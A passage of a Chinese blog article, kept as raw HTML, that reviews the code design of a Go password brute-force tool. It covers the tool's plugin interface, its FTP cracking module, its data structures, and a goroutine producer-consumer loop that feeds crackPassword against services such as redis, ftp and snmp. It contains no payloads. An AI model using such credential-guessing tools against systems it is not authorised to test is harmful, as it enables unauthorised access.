255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">github.com/urfave/cli</code>的开源项目。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">cmd.Scan</code>的内容如下：</p><p><br/></p><p><img data-ratio="0.34971796937953264" data-w="1241" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=79ba02ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9ymhibmaMQKzw7xvXjIBj3WiaLre9WsLP7XBibTtIJzzMZ38KfagwYlOCA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">代码设计</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">1、全局变量设置：项目把所有的属性类内容(如：目标文件夹，扫描并发数等)统一放到了<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">vars.go</code>中，在项目运行中各阶段代码需要运用到这些变量的时候就可以直接从<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">vars</code>的全局变量中取走。</p><p><br/></p><p><img data-ratio="0.5036458333333333" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=839d3816&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9hX6ibgmJZicOzO96TWTh4NQufyX5Cne4arfIYfk4XGx1b94Ff2iaMg3hg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">2、扫描模块化：设置了一个关于扫描模块的统一接口<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">ScanFunc</code>，所有扫描模块都继承该接口，便于后面规范化调用。同时在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">plugins.go</code>的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">init</code>方法下注册各扫描模块，如果后续需要添加模块，在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">plugins.go</code>里面新增即可完成注册。</p><p><br/><img data-ratio="0.5166666666666667" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3a13f4e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9sSMMEDw2zwoWh6fLibD2nAonYib7FGnqTBgBQ8uF3raYh6Hh50hzeS5A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">FTP爆破模块：</span></p><p><br/></p><p><img data-ratio="0.5078125" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e7edb8af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9UyWFYibIbG5deYZ989pFkX2BYrQ0PyQKOgJC3siahgXzxGd34ZnEsLsg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">3、规范过程中数据结构</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Service</code>：即爆破目标的相关信息</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">ScanResult</code>：包含Service数据结构以及该条爆破是否成功</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">IpAddr</code>：包含目标的ip、端口、使用协议</p><p><br/></p><p><img data-ratio="0.5177083333333333" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6736a8fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9VsO0uxiaCcKH2NAh677nFY7lPXLtxdBOeibMFsSbgdhKBTaKAP0JpoJA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">执行流程</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">task.go</code>目录下的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Scan</code>方法为程序的起始点，首先是一系列常规的判断命令行中是否指定了属性值，若指定了则赋值给<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">vars.go</code>中的全局变量：</p><p><br/></p><p><img data-ratio="0.5385416666666667" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c01e6cdf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9zib4yBxx4jn6icbVFNHtvt4ZWq3tf8eJGPXYxHhAwuwkrFGHx6Nmp0LQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">然后就是对目标、用户名、密码进行读取、目标探活、生成爆破任务列表、执行任务等操作。在下图的代码中都有注释，我们主要看<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">RunTask</code>是如何操作的：</p><p><br/></p><p><img data-ratio="0.45214172395557906" data-w="1891" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f0aeb06c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9LZMAk1nzWjNtmnodbUfzszcygI5JgRrfnQnicyRrxf6EnWkHicibMhwnw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">代码截图：</span></p><p><br/></p><p><img data-ratio="0.46631853785900784" data-w="1915" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=472c58da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9wxHibYdtxJ8RmBiauccQpicCfribjjxsUBrv5WFgzbK3ooaoW8IyOh13pQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">首先是初始化一个进度条然后声明一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">wg</code>用来防止程序在协程工作时主线程先结束。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">之后创建了一个两倍于指定协程数目的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">channel</code>。而下面这段代码就是一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">golang</code>实现的生产者-消费者模型：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;"><span style="color: rgb(147, 161, 161);">// 创建vars.ScanNum个协程</span><br/>    <span style="color: rgb(133, 153, 0);">for</span> i := <span style="color: rgb(38, 139, 210);">0</span><span style="color: rgb(88, 110, 117);">;</span> i &lt; vars<span style="color: rgb(88, 110, 117);">.</span>ScanNum<span style="color: rgb(88, 110, 117);">;</span> i++ <span style="color: rgb(88, 110, 117);">{</span><br/>        <span style="color: rgb(133, 153, 0);">go</span> <span style="color: rgb(181, 137, 0);">crackPassword</span><span style="color: rgb(88, 110, 117);">(</span>taskChan<span style="color: rgb(88, 110, 117);">,</span> wg<span style="color: rgb(88, 110, 117);">)</span><br/>    <span style="color: rgb(88, 110, 117);">}</span><br/>    <span style="color: rgb(147, 161, 161);">// 生产者，不断地往taskChan channel发送数据，直到channel阻塞</span><br/>    <span style="color: rgb(133, 153, 0);">for</span> <span style="color: rgb(38, 139, 210);">_</span><span style="color: rgb(88, 110, 117);">,</span> task := <span style="color: rgb(133, 153, 0);">range</span> tasks <span style="color: rgb(88, 110, 117);">{</span><br/>        wg<span style="color: rgb(88, 110, 117);">.</span><span style="color: rgb(181, 137, 0);">Add</span><span style="color: rgb(88, 110, 117);">(</span><span style="color: rgb(38, 139, 210);">1</span><span style="color: rgb(88, 110, 117);">)</span><br/>        taskChan &lt;- task<br/>    <span style="color: rgb(88, 110, 117);">}</span><br/>    <span style="color: rgb(181, 137, 0);">close</span><span style="color: rgb(88, 110, 117);">(</span>taskChan<span style="color: rgb(88, 110, 117);">)</span><br/></code></pre><p><br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">我之前对于该模型的疑惑在于，如果有某一刻</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">for</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">循环中的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">taskChan</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">不处于阻塞状态了，被</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">close(taskChan)</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">关闭了，那消费者岂不是取不到</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">taskChan</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">中残留的数据了？通过看网上大神的解答，大神给出了下面解释。也就是说，直到通道关闭并且通道里面为空，循环才会终止，通带才会被结束。也就是说并不会出现我说的这种情况。<br/></span></p><p><br/></p><p><img data-ratio="0.1001788908765653" data-w="1118" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=51587103&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9x8yz3orjOoLjS1CRo5rRPxqpssgZ3wEibGnJ9MRlOqpibMztmGStfC4A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">回到正题，接着看<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">crackPassword</code>方法的实现，直接从我下图中画红线的地方看，前面的主要是一些辅助性工作。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">我们看到首先判断了目标协议，如果时<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">redis</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">ftp</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">snmp</code>，那么<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">k=ip-port-protocol</code>，如果不是这些协议，<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">k=ip-port-username</code>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">然后这个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 